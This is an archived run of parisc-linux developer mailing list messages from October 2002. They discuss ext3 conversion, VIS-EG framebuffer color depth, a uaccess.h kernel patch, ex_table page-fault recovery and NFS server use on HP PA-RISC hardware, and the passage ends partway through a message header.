	id 7CC24633AD; Sun, 27 Oct 2002 20:22:50 +0100 (CET)
Content-Disposition: inline
In-Reply-To: <3DBC44F9.1010006@freebel.net>
User-Agent: Mutt/1.4i
X-Virus-Scanned: by AMaViS snapshot-20020531
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16613

Am 27.10.2002 um 19:56:41 +0000 schrieb Joel Soete folgendes:

> >Yes, why not?
> >
> >tune2fs -j /
> 
> Afaik palo does not support reiserfs; if you boot from your kernel 
> located into /boot it could be a problem !?

We're talking about ext3, not reiserfs.

-- 
Ralf Hildebrandt (Im Auftrag des Referat V a)   Ralf.Hildebrandt@charite.de
Charite Campus Mitte                            Tel.  +49 (0)30-450 570-155
Referat V a - Kommunikationsnetze -             Fax.  +49 (0)30-450 570-916
Why you can't find your system administrators:
Went to Stop&Go to get ANOTHER case of insert favorite caffinated beverage here 



From - Thu Nov 08 21:25:14 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Nahkola Mikko <mikko.nahkola@nokia.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] framebuffer depth and other issues ...
Date: Mon, 28 Oct 2002 13:25:52 +0200
Lines: 43
Approved: news@gmane.org
Message-ID: <20021028112551.GR15137@aurinko.ntc.nokia.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
X-Trace: ger.gmane.org 1416621869 16069 80.91.229.3 (22 Nov 2014 02:04:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:04:29 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Oct 28 04:26:03 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mgw-x4.nokia.com (mgw-x4.nokia.com [131.228.20.27])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6FC854829
	for <parisc-linux@lists.parisc-linux.org>; Mon, 28 Oct 2002 04:26:02 -0700 (MST)
Original-Received: from esvir04nok.ntc.nokia.com (esvir04nokt.ntc.nokia.com [172.21.143.36])
	by mgw-x4.nokia.com (Switch-2.2.1/Switch-2.2.0) with ESMTP id g9SBQFB28011
	for <parisc-linux@lists.parisc-linux.org>; Mon, 28 Oct 2002 13:26:15 +0200 (EET)
Original-Received: from esebh002.NOE.Nokia.com (unverified) by esvir04nok.ntc.nokia.com
 (Content Technologies SMTPRS 4.2.5) with ESMTP id <T5e3796d706ac158f24077@esvir04nok.ntc.nokia.com> for <parisc-linux@lists.parisc-linux.org>;
 Mon, 28 Oct 2002 13:25:58 +0200
Original-Received: from trinms01.ntc.nokia.com ([172.22.107.110]) by esebh002.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.5329);
	 Mon, 28 Oct 2002 13:25:56 +0200
Original-Received: from aurinko.ntc.nokia.com (aurinko.ntc.nokia.com [172.22.105.49]) by trinms01.ntc.nokia.com with ESMTP (8.7.5/8.7.3) id NAA29727 for <parisc-linux@lists.parisc-linux.org>; Mon, 28 Oct 2002 13:25:53 +0200 (EET)
Original-Received: (from mnahkola@localhost)
	by aurinko.ntc.nokia.com (8.11.6/8.11.6) id g9SBPqf10378
	for parisc-linux@lists.parisc-linux.org; Mon, 28 Oct 2002 13:25:53 +0200 (EET)
Content-Disposition: inline
User-Agent: Mutt/1.4i
X-OriginalArrivalTime: 28 Oct 2002 11:25:56.0331 (UTC) FILETIME=[C8673BB0:01C27E74]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16614

I was wondering ... the VIS-EG is about as close to "fully supported" as 
they get, right?

Well, I have one of those in a C240 and ... well, the system is otherwise 
just fine, even KDE is fairly responsive and all that, but there's a 
shortage of available colors. (anyone know of a good lowcolor icon theme? 
I can't seem to find such in Debian... anyone?)

Is it possible to get more than 8 bpp out of a VIS-EG? How would I go 
about that, do I need to say something like "stifb:bpp:foo" to the kernel 
or is fbset enough?

How much of a difference is there between VIS-EG/PCI (A4977A) and 
VIS-EG/GSC (A4450A) in this regard? I have an A4450A in there at the 
moment.

HP-UX seems to find a whole lot of differences and such ... and I did run 
GNOME/HP-UX once on a VIS-EG/PCI without running out of colors but then 
again HP-UX does color recovery and acceleration and all that on those...


Then, is an Ati Mach64 likely to work? I mean, it should be pretty 
well-supported in i386 ... and I've heard rumors about Sun-branded 
Mach64s too, so that would point to least some models getting by without 
a PC BIOS.


Third, what's the thing with $TERM and the serial console? I have 
interesting problems with the 70096, even in vt100-emulation mode the 
Debian installer was, um, interesting. Doesn't anyone else want to use 
the HP dumb-terminal hardware with Linux?


And as an aside, how reliable is the disk stuff nowadays? Would it make 
any sense to run a file server on Linux/hppa yet? I mean, something like 
a stack of A3312As, software-RAID and NFS ... is it likely to work? How 
about performance, compared to HP-UX, for example? (yes, I'd expect HP-UX 
to be somewhat better, but by how much?)


-- 
Mikko Nahkola <mikko.nahkola@nokia.com>


From - Thu Nov 08 21:25:14 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: jsoe0708@tiscali.be
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 2.4.19-pa24 (uaccess.h patch) [was: mkfs.xfs failled]
Date: Mon, 28 Oct 2002 15:22:31 +0100
Lines: 76
Approved: news@gmane.org
Message-ID: <3DB5755500001056@ocpmta7.be.tiscali.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621869 16070 80.91.229.3 (22 Nov 2014 02:04:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:04:29 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Randolph Chung" <randolph@tausq.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Oct 28 07:22:38 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolm3.tiscalinet.be [212.35.2.72])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3069F4829
	for <parisc-linux@lists.parisc-linux.org>; Mon, 28 Oct 2002 07:22:38 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 186Amm-0006Yb-00; Mon, 28 Oct 2002 15:22:32 +0100
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Mon, 28 Oct 2002 15:22:31 +0100
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16615

Randolph,

I test it this morming with evms and xfs together and it seems to works
fine (no memory default encounter so I could not check ex_table behaviour)

Thanks,
    Joel

PS: Can you explain the willy's idea on how to replace ex_table?

ps: What do think about this:
--- uaccess.h.orig	2002-10-28 14:58:13.000000000 +0100
+++ uaccess.h	2002-10-28 15:01:31.000000000 +0100
@@ -28,6 +28,11 @@
  * that put_user is the same as __put_user, etc.
  */

+extern int __get_kernel_bad(void);
+extern int __get_user_bad(void);
+extern int __put_kernel_bad(void);
+extern int __put_user_bad(void);
+
 #define access_ok(type,addr,size)   (1)
 #define verify_area(type,addr,size) (0)

@@ -35,8 +40,8 @@
 #define get_user __get_user

 #if BITS_PER_LONG == 32
-#define LDD_KERNEL(ptr)		BUG()
-#define LDD_USER(ptr)		BUG()
+#define LDD_KERNEL(ptr)		__get_kernel_bad();
+#define LDD_USER(ptr)		__get_user_bad();
 #define STD_KERNEL(x, ptr) __put_kernel_asm64(x,ptr)
 #define STD_USER(x, ptr) __put_user_asm64(x,ptr)
 #else
@@ -75,7 +80,7 @@
 	    case 2: __get_kernel_asm("ldh",ptr); break; \
 	    case 4: __get_kernel_asm("ldw",ptr); break; \
 	    case 8: LDD_KERNEL(ptr); break;		\
-	    default: BUG(); break;                      \
+	    default: __get_kernel_bad(); break;         \
 	    }                                           \
 	}                                               \
 	else {                                          \
@@ -84,7 +89,7 @@
 	    case 2: __get_user_asm("ldh",ptr); break;   \
 	    case 4: __get_user_asm("ldw",ptr); break;   \
 	    case 8: LDD_USER(ptr);  break;		\
-	    default: BUG(); break;                      \
+	    default: __get_user_bad(); break;           \
 	    }                                           \
 	}                                               \
 							\
@@ -144,7 +149,7 @@
 	    case 2: __put_kernel_asm("sth",x,ptr); break;       \
 	    case 4: __put_kernel_asm("stw",x,ptr); break;       \
 	    case 8: STD_KERNEL(x,ptr); break;			\
-	    default: BUG(); break;                              \
+	    default: __put_kernel_bad(); break;			\
 	    }                                                   \
 	}                                                       \
 	else {                                                  \
@@ -153,7 +158,7 @@
 	    case 2: __put_user_asm("sth",x,ptr); break;         \
 	    case 4: __put_user_asm("stw",x,ptr); break;         \
 	    case 8: STD_USER(x,ptr); break;			\
-	    default: BUG(); break;                              \
+	    default: __put_user_bad(); break;			\
 	    }                                                   \
 	}                                                       \
 								\





From - Thu Nov 08 21:25:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] framebuffer depth and other issues ...
Date: Mon, 28 Oct 2002 09:56:41 -0500
Lines: 17
Approved: news@gmane.org
Message-ID: <20021028145641.GC4583@systemhalted>
References: <20021028112551.GR15137@aurinko.ntc.nokia.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621869 16074 80.91.229.3 (22 Nov 2014 02:04:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:04:29 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Nahkola Mikko <mikko.nahkola@nokia.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Oct 28 07:56:50 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from systemhalted (CPE0080c82c70ca.cpe.net.cable.rogers.com [24.112.224.149])
	by dsl2.external.hp.com (Postfix) with ESMTP id 288B54829
	for <parisc-linux@lists.parisc-linux.org>; Mon, 28 Oct 2002 07:56:50 -0700 (MST)
Original-Received: from carlos by systemhalted with local (Exim 3.36 #1 (Debian))
	id 186BJp-0002XC-00; Mon, 28 Oct 2002 09:56:41 -0500
Mail-Followup-To: Carlos O'Donell <carlos@baldric.uwo.ca>,
	Nahkola Mikko <mikko.nahkola@nokia.com>,
	parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
In-Reply-To: <20021028112551.GR15137@aurinko.ntc.nokia.com>
User-Agent: Mutt/1.4i
X-Useless-Header: oooohhmmm, chant the email mantra...
X-Mailer: Patched Mutt OS 1.2.5 - Neural Implant (80% Sync Ratio [========..])
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16616

> 
> And as an aside, how reliable is the disk stuff nowadays? Would it make 
> any sense to run a file server on Linux/hppa yet? I mean, something like 
> a stack of A3312As, software-RAID and NFS ... is it likely to work? How 
> about performance, compared to HP-UX, for example? (yes, I'd expect HP-UX 
> to be somewhat better, but by how much?)
> 

I'm using/testing a C3K as an NFS fileserver for our cluster of
715/50's. A large portion of the nodes run diskless, and performance is
relatively good. Haven't run LADDIS or any other benchmarks. What do
people run these days to test NFS? If only it didn't cost an arm and a 
leg... SPEC SFS97_v3.0

c.



From - Thu Nov 08 21:25:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.4.19-pa24 (uaccess.h patch) [was: mkfs.xfs failled]
Date: Mon, 28 Oct 2002 15:55:23 +0000
Lines: 9
Approved: news@gmane.org
Message-ID: <20021028155523.O27461@parcelfarce.linux.theplanet.co.uk>
References: <3DB5755500001056@ocpmta7.be.tiscali.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621870 16075 80.91.229.3 (22 Nov 2014 02:04:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:04:30 +0000 (UTC)
Cc: Randolph Chung <randolph@tausq.org>,
	parisc-linux@lists.parisc-linux.org
To: jsoe0708@tiscali.be
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Oct 28 08:55:33 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7B7514829
	for <parisc-linux@lists.parisc-linux.org>; Mon, 28 Oct 2002 08:55:33 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 186CEd-0008Hj-00; Mon, 28 Oct 2002 15:55:23 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <3DB5755500001056@ocpmta7.be.tiscali.com>; from jsoe0708@tiscali.be on Mon, Oct 28, 2002 at 03:22:31PM +0100
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16617

On Mon, Oct 28, 2002 at 03:22:31PM +0100, jsoe0708@tiscali.be wrote:
> PS: Can you explain the willy's idea on how to replace ex_table?

ex_table is used for recovering from a page fault.  i don't see how we
can take a page fault when copying to kernel ram.

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:25:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: tsbogend@alpha.franken.de (Thomas Bogendoerfer)
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] framebuffer depth and other issues ...
Date: Mon, 28 Oct 2002 22:15:14 +0100
Lines: 34
Approved: news@gmane.org
Message-ID: <20021028211514.GA4269@solo.franken.de>
References: <20021028112551.GR15137@aurinko.ntc.nokia.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621870 16078 80.91.229.3 (22 Nov 2014 02:04:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:04:30 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Nahkola Mikko <mikko.nahkola@nokia.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Oct 28 14:18:02 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from elvis.franken.de (elvis.franken.de [193.175.24.41])
	by dsl2.external.hp.com (Postfix) with ESMTP id C07004829
	for <parisc-linux@lists.parisc-linux.org>; Mon, 28 Oct 2002 14:18:01 -0700 (MST)
Original-Received: from uucp by elvis.franken.de with local-rmail (Exim 3.36 #1)
	id 186HGl-0008PF-00; Mon, 28 Oct 2002 22:17:55 +0100
Original-Received: by solo.franken.de (Postfix, from userid 1000)
	id 0CCD627E2A; Mon, 28 Oct 2002 22:15:14 +0100 (CET)
Content-Disposition: inline
In-Reply-To: <20021028112551.GR15137@aurinko.ntc.nokia.com>
User-Agent: Mutt/1.3.28i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16618

On Mon, Oct 28, 2002 at 01:25:52PM +0200, Nahkola Mikko wrote:
> I was wondering ... the VIS-EG is about as close to "fully supported" as 
> they get, right?

there are still 2D drawing accelerations possible, hardware cursor,
color recovery and usage of the second color map.

> Is it possible to get more than 8 bpp out of a VIS-EG?

no, VIS-EG is 8 bit color, no way to get more.

> How much of a difference is there between VIS-EG/PCI (A4977A) and 
> VIS-EG/GSC (A4450A) in this regard? I have an A4450A in there at the 
> moment.

no difference in color depth between PCI and GSC cards.

> HP-UX seems to find a whole lot of differences and such ... and I did run 
> GNOME/HP-UX once on a VIS-EG/PCI without running out of colors but then 
> again HP-UX does color recovery and acceleration and all that on those...

I guess the HP-UX Xserver uses the second color map and color recovery.
I've looked a little bit how to use the second color map and I haven't
found a simple to way to add support to XFree for it. It's a nice way
to have 256 color for the desktop and 256 independant colors for the
application with focus. Maybe some XFree86 guru could give me a hint how
to implement it.

Thomas.

-- 
Crap can work. Given enough thrust pigs will fly, but it's not necessary a
good idea.                                 [ Alexander Viro on linux-kernel ]


From - Thu Nov 08 21:25:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John Marvin <jsm@udlkern.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.4.19-pa24 (uaccess.h patch)
Date: Mon, 28 Oct 2002 17:12:03 -0700 (MST)
Lines: 19
Approved: news@gmane.org
Message-ID: <200210290012.RAA27628@udlkern.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621870 16085 80.91.229.3 (22 Nov 2014 02:04:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:04:30 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Oct 28 17:12:06 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from atlrel7.hp.com (atlrel7.hp.com [156.153.255.213])
	by dsl2.external.hp.com (Postfix) with ESMTP id CCAE04829
	for <parisc-linux@lists.parisc-linux.org>; Mon, 28 Oct 2002 17:12:06 -0700 (MST)
Original-Received: from udlkern.fc.hp.com (udlkern.fc.hp.com [15.1.52.48])
	by atlrel7.hp.com (Postfix) with ESMTP id 8DF2380522F
	for <parisc-linux@lists.parisc-linux.org>; Mon, 28 Oct 2002 19:12:03 -0500 (EST)
Original-Received: (from jsm@localhost)
	by udlkern.fc.hp.com (8.9.3 (PHNE_18979)/8.9.3 SMKit7.01) id RAA27628
	for parisc-linux@lists.parisc-linux.org; Mon, 28 Oct 2002 17:12:03 -0700 (MST)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16619

>
> ex_table is used for recovering from a page fault.  i don't see how we
> can take a page fault when copying to kernel ram.
>

Let's wait on removing this support.  This mechanism provides a way of
testing whether or not an address is a valid kernel address (in addition
to range checking the address).  I'd like to consider implementing the
virtual mem map support (currently implemented on ia64) on parisc as an
alternative mechanism (to willy's idea of using kmap/kunmap) for getting
back the 256Mb of memory we currently ignore for Astro based machines with
more than 3.75 Gb of memory.  The virtual mem map code uses this exact
mechanism to determine whether or not a struct page pointer is pointing
into a sparse (unallocated) region of the virtual mem map array (i.e. on
ia64 the ia64_page_valid() routine does a get_user on the first byte and
checks the return from get_user to see if it fails/succeeds).

John


From - Thu Nov 08 21:25:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] framebuffer depth and other issues ...
Date: Mon, 28 Oct 2002 17:49:34 -0700
Lines: 28
Approved: news@gmane.org
Message-ID: <20021029004934.DFB5E4829@dsl2.external.hp.com>
References: <20021028112551.GR15137@aurinko.ntc.nokia.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621871 16087 80.91.229.3 (22 Nov 2014 02:04:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:04:31 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Nahkola Mikko <mikko.nahkola@nokia.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Oct 28 17:49:34 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id DFB5E4829; Mon, 28 Oct 2002 17:49:34 -0700 (MST)
In-Reply-To: Message from Nahkola Mikko <mikko.nahkola@nokia.com> 
   of "Mon, 28 Oct 2002 13:25:52 +0200." <20021028112551.GR15137@aurinko.ntc.nokia.com> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16620

Nahkola,
You asked alot of questions. I take a shot at one of them:

Nahkola Mikko wrote:
> And as an aside, how reliable is the disk stuff nowadays? Would it make 
> any sense to run a file server on Linux/hppa yet?

Yes. I'm running a linux http/ftp server inhouse on a B180 with 200GB disk.
It mirrors RH/SuSE/Mandrake and Debian for Cupertino site.
I have to get mrtg running again to collect stats.
Nightly updates and it's never crashed.

BTW, this box also serves as my regular desktop.

> I mean, something like 
> a stack of A3312As, software-RAID and NFS ... is it likely to work?

I don't do RAID or NFS. I mean this *is* a mirror.

> How 
> about performance, compared to HP-UX, for example? (yes, I'd expect HP-UX 
> to be somewhat better, but by how much?)

lmbench results are in the parisc-linux mail archive (lists.parisc-linux.org).
IO/FS stuff was comparable, linux context switching sucks.

grant


From - Thu Nov 08 21:25:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.4.19-pa24 (uaccess.h patch)
Date: Tue, 29 Oct 2002 02:14:48 +0000
Lines: 39
Approved: news@gmane.org
Message-ID: <20021029021448.W27461@parcelfarce.linux.theplanet.co.uk>
References: <200210290012.RAA27628@udlkern.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621871 16089 80.91.229.3 (22 Nov 2014 02:04:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:04:31 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: John Marvin <jsm@udlkern.fc.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Oct 28 19:14:53 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4CD114829
	for <parisc-linux@lists.parisc-linux.org>; Mon, 28 Oct 2002 19:14:53 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
